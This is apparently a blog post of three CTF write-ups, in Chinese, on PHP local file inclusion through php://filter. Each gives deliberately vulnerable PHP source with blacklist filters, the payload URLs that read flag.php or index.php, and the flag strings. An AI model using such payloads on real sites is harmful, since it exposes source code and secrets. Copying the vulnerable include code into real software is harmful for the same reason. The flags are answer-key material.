PHP-filter协议

[题目信息]:

题目名称题目难度
PHP-filter协议1

[题目考点]:

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

[Flag格式]:

SangFor{nNhU12V9TPu3Jms49aso_mD6bHCotl5I}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2020

[题目writeup]:

1、实验主页

2、题解分析

在实验主页上没有发现到源码信息。随意点击后出现图片,在url上发现有跟参数,随机查看源码。

实际显示的为如下图片

可以由此分析category参数可能存在文件包含

通过此方法包含读取flag文件未成功,再次读取index.php文件

/index.php?category=php://filter/read=convert.base64-encode/resource=index

获取到index.php的源代码

<?php
$file = $_GET['category'];
if(isset($file))
{
	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
		include ($file . '.php');
	}
	else{
		echo "Sorry, we currently only support woofers and meowers.";
	}
}
?>		

Base64解码,找到关键代码。分析,发现$file参数值必须带有woofers或者meowers或者index,而我们的目标是读取flag.php的内容。

php://filter伪协议可以支持任意嵌套协议,那么可以尝试构造payload:

/index.php?category=php://filter/read=convert.base64-encode/index/resource=flag







[题目信息]:

题目名称题目难度
PHP-filter协议1

[题目考点]:

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

[Flag格式]:

SangFor{DNWIN1VuxZqBnORb9KKmuirmWKmRBTr2}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2056

[题目writeup]:

1、实验主页

2、题解分析

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}  

前置知识

is_file() 函数检查指定的文件名是否是正常的文件

filter() 函数用于对来自非安全来源的数据(比如用户输入)进行验证和过滤

分析代码逻辑,首先定义了filter()方法对用户输入进行验证和过滤,不能含有正则表达式当中的字符串。

在第二个if条件判断中,如果传入的值不是正常存在的文件,并且通过filter()方法检验通过即可调用highlight_file打印源码。

考虑以上绕过的点,只需要通过php伪协议即可获取到flag

?file=php://filter/resource=flag.php








[题目信息]:

题目名称题目难度
PHP-filter协议1

[题目考点]:

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

[Flag格式]:

SangFor{mS1-JG3tES0kOLkM5houS8S67Eu9rPG2}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2058

[题目writeup]:

1、实验主页

2、题解分析

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zlib|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "tql,xdm";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}  

分析代码逻辑,与上一题相同。首先定义了filter()方法对用户输入进行验证和过滤,不能含有正则表达式当中的字符串,并且过滤了上一题所使用的zlib协议。

在第二个if条件判断中,如果传入的值不是正常存在的文件,并且通过filter()方法检验通过即可调用highlight_file打印源码。

?file=php://filter/resource=flag.php

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值